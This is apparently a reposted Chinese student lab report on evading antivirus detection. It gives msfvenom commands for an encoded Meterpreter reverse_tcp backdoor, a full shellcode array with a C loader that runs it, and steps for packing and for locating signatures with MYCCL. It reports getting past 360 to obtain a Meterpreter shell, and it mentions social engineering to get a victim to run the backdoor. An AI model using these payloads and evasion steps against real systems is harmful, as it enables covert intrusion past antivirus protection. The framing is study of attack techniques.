免殺技術


一、基礎知識

1.殺軟是如何檢測出惡意代碼的?

(1)檢測特征碼

人有自己的特征,代碼也有自己的特征。殺毒軟件都有着一套特征庫,依靠檢索程序代碼是否和庫中特征碼是否吻合來判斷某段代碼是否屬於病毒。

(2)啟發式惡意軟件檢測

如果該程序的特征和行為與病毒程序類似,其匹配程度達到一定值就可以認為該程序是病毒程序。

(3)基於行為檢測

與啟發式檢測類似,只是單純依靠監測程序行為來作為標准。通過監視惡意代碼運行過程,如利用系統監視工具觀察惡意代碼運行過程時系統環境的變化,或通過跟蹤惡意代碼執行過程使用的系統函數和指令特征分析惡意代碼功能,如出現惡意行為,則屬於惡意代碼。

2.免殺是什么?如何免殺?

顧名思義,免殺就是使得惡意軟件不被殺毒軟件查殺,二者能夠共存。免殺的方法如下,更多參見免殺技術有一套

  • 改變特征碼:在不影響程序功能的情況下,依靠分片等方法嘗試找出特征碼區域,並對該區域代碼進行編碼(直接修改特征碼的十六進制法、修改字符串大小寫法、等價替換法、指令順序調換法、通用跳轉法)

  • 加花:就是加入一些花里胡哨的指令來迷惑殺軟,讓殺軟檢測不到特征碼,但是一些厲害的殺軟還可以看破這些。

  • 加殼:就是給含有惡意代碼的程序加一個外包裝,使其無法進行逆向比對病毒庫中的特征碼。但運行時需要載入內存,在載入內存之時,需要先自我脫殼才能運行,因此也能被查殺。

  • 改程序入口點

二、實踐過程

1.msf編碼

通過各種不同形式的編碼,甚至是多個編碼器的嵌套編碼,可以讓攻擊載荷變得面目全非,避免載荷中含有一些安全檢測與防御機制能夠輕易識別的特征碼,從而能夠達到"免殺"的效果。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=172.30.0.81 LPORT=2333 -f exe -o \root\bmbackdoor.exe

運行后很不幸被查殺了,畢竟是360嘛......

換了金山毒霸,嗯......

將生成的后門程序將文件傳至virscan.org進行檢測,可以看到奇虎360、金山毒霸病毒庫是可以檢測到的。那就換一個瑞星吧!

但后門程序依舊沒有逃出被扼殺的命運。這里我返回去重新看了下,檢測中沒有發現病毒對應的版本是2017年的,現在都18年了,瑞星肯定是做了更新的。

2.shellcode

手動編譯meterpreter並對shellcode進行編碼就能繞過靜態查殺,meterpreter本身就是直接加載進內存並且有編碼,繞過動態查殺基本沒問題。

使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=172.30.0.81 LPORT=2333 -f c生成一個c語言格式的Shellcode數組,並編寫以下程序。

unsigned char buf[] = 
"\xd9\xc4\xbf\x14\x9c\xc1\x14\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x6f\x83\xc3\x04\x31\x7b\x14\x03\x7b\x00\x7e\x34\xaa\xb4\xd1"
"\x42\x09\x1f\xe9\x74\xda\xbb\x06\xdd\x08\x0a\x57\x8a\xcd\x67"
"\x64\x7a\xa1\x67\x96\x0e\x55\xf9\xc2\xdc\x65\xa2\x22\xf7\xb7"
"\xa6\xed\x35\xb0\x63\x1a\x76\x70\xfd\x2b\xb6\xf2\x7d\x4b\xd3"
"\xe9\x02\x19\xd6\xcc\xf8\x0f\x8a\xb6\x92\x94\x07\xaf\x47\xf8"
"\xd5\x44\x61\x13\xaf\xcc\x91\x1d\x2a\x75\x5e\x98\xfe\xe6\xf7"
"\xbe\x4a\x7e\xc7\xb3\x7d\x60\x13\x65\x24\xd1\x3e\x28\x8a\xa1"
"\xd0\xe1\xe9\xe8\xe4\x50\x04\xda\xc1\x4f\x36\x07\x65\xf4\xa0"
"\x24\xcd\xee\xa6\x2d\x17\xf7\xca\x45\x73\x36\xdb\x04\x9f\x10"
"\xd1\x88\x2f\x26\x97\xf4\x3e\x39\x50\x31\x23\xe4\x8f\xef\xb0"
"\xfa\x08\x18\x54\x76\x9f\xce\x6a\xb2\x36\xbd\x74\xa8\xd9\x9e"
"\x14\x9c\xcb\xba\xc9\x0e\x99\xfc\xa3\xa8\xbd\xac\x79\x98\x11"
"\x9d\x4c\x3d\xfe\x92\xf4\xd3\xfc\xae\xa5\x13\xe0\x35\x85\x31"
"\xea\xf8\x79\x6e\x2e\x31\xaa\x16\xa3\xf6\xd9\xf7\x38\x4d\xb4"
"\xa9\xd7\x43\x25\x37\x93\xb8\x78\x6f\x98\x9c\xa2\x9f\x08\x44"
"\xed\x16\x56\x91\xa6\x0c\x0b\x8b\xc7\x84\x33\xc1\x6a\xca\xa6"
"\xf4\xee\xb0\x0c\xa0\xd1\x34\xd5\x43\xf5\x0a\x60\x7c\x06\x9d"
"\x2d\x29\x2a\x55\x56\x68\x51\x7c\x8c\x6f\xbf\x2d\x88\x90\xa8"
"\xfc\x37\x5c\x93\xa0\x25\x44\xa5\x4e\x5d\x96\x21\x3d\x74\xfe"
"\x8d\xd7\x7a\xa0\xf7\xae\x37\xcd\xf9\xcd\x34\x68\xcc\xd7\x92"
"\x63\xf7\xcd\x4c\x7f\x09\x1b\x0c\x49\xd5\xfe\x7c\xe1\xb2\xa1"
"\xf6\xdd\x9f\x3c\x9c\xa8\xe9\x25\x1d\x89\xa3\x7d\x96\x05\x2b"
"\x70\xeb\xa4\xc0\x7f\x08\xa4\xc4\xe5\xb5\x09\xf6\xc8\x9c\xfe"
"\x54\x39\xb7\xa1\x13\xf9\x7a\xd6\x31\xac\xd1\x9c\xc0\xa8\xe9"
"\x32\x06\xab\xa3\xa9\x43\x99\x79\x52\xb1\xd8\xff\xe3\xca\x5a"
"\x94\x66\x18\x0c\xd7\x85\xd6\x89\x4a\x65\x90\x70\x9e\x70\x4c"
"\x5c\x88\xf2\xec\xba\x86\x41\xdd\xc7\xd4\xcc\x79\x1b\x34\xa7"
"\x39\x63\xba\xa1\xab\x8d\x67\x54\x95\x23\xa8\x6d\xdc\x9a\x1f"
"\x81\xd8\xd2\x05\x69\xfb\xdb\x93\xef\x87\x25\x1f\x38\x75\x75"
"\xc8\x84\x12\xa8\xc6\x0a\xa0\x52\x73\xef\xcd\x22\x9d\xd0\x45"
"\x00\x12\x44";
main()
{
	( (void(*)(void))&buf)();
}

將以上代碼用vc編譯成可執行文件test.exe,360打開,運行后發現沒有被查殺,且可以取得 Meterpreter shell。

不放心,又掃描了一遍,沒掃描到test.exe(bmbackdoor.exe、rootbackdoor.exe是之前用msf編碼器生成的)。

又使用了瑞星,沒毛病,但是金山毒霸卻報了毒。

3.加殼

在網上看到把后門程序的文件名改改也可能避免查殺,所以我改成了calc.exe,但是沒有成功。那就給它加個殼看看吧。

運行后,360沒查殺,建立起了meterpreter通道。

掃描一下,沒有發現加殼后的cal_se.exe。

4.定位特征碼

MYCCL通過逐塊暴露的方式定位特征碼。工作方式,簡言之,就是將病毒分割成一個個的小塊(按照順序分),用殺軟去查殺這些小塊,殺軟就會一個個進行對比特征碼,從而殺掉,myccl記錄下被殺掉的小塊從而得知特征碼的位置。參考殺毒與免殺技術詳解之二:特征碼定位-工具及原理

點擊文件,選擇calc.exe,目錄指的是分塊文件存放目錄。分塊數量10-30之間都可以,然后點擊生成即可。這里在E:\1路徑下生成20個文件。

用殺毒軟件掃描這20個分塊文件,然后將報毒文件刪除。

只要不是全部報毒,就說明可以定位。點擊"二次處理",完成第一次粗略定位。此時彈出以下對話框,因為特征碼不一定只有一個,所以當然選擇Yes。重復生成->查殺刪除->二次處理的循環,直到不在報毒為止。

點擊特征區間,就能看到定位出來的特征碼位置。

特征區間的格式,前一段是十六進制的文件偏移,后一段是十進制的特征碼長度。可以看到長度太長這么大的范圍,肯定不能直接進行修改免殺,所以接下來要進行復合定位。在特征區間這一行,右鍵點擊復合定位此處特征。然后繼續重復之前步驟,將范圍縮小。最后我定到的是000000F3E_00000002,可以說非常開心了。

使用C32Asm查看特征碼長什么樣。將calc.exe拖進去,選擇十六進制模式。

右鍵點擊跳到,輸入000000F3E。我頓時懵了,00是什么鬼!

我想肯定是哪部錯了,於是把第一步定為的另兩個特征區間試了一遍,因為掃描1800多個文件太慢,我把它依舊分成20個,但是又出現新問題,殺軟把分塊的文件全部查殺了......以后有時間再試試吧,嗯,這次主要先看看原理QAQ。

三、實踐總結與體會

1.這次實踐可謂是一波未平一波又起,veil安裝了3遍依舊沒安上(原理和metasploit差不多,所以我就沒再實踐了),定位特征碼一遍遍地分塊、查殺,最后定出來個00,期間安裝殺毒軟件還把電腦搞藍屏了(網上的東西千萬不敢隨意下)。第一次這么迫切地希望病毒能夠不被查殺......但實踐過程還是很有趣的,不管實現多少還是有點小成就感哈哈哈。

2.用工具生成的一般都能被查殺,看了點有關手動免殺實戰的博客,只是光看人家做出來的都會雲里霧里,腦袋發脹,所以很佩服自己手動修改的。周圍有同學研究逆向的,對於我來說非常難了,他們卻能研究下去,果然,興趣是最好的老師。

四、離實戰還缺些什么技術或步驟?

1.實踐中我把后門程序發給了同學,他運行后並不能取得 Meterpreter shell,因為我倆不在同一個局域網。所以需要采用方法先進入對方局域網內,此外社會工程學讓對方心甘情願接收你的病毒也至關重要。

2.定位特征碼沒有成功,后續修改特征碼也就沒有動手實踐。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM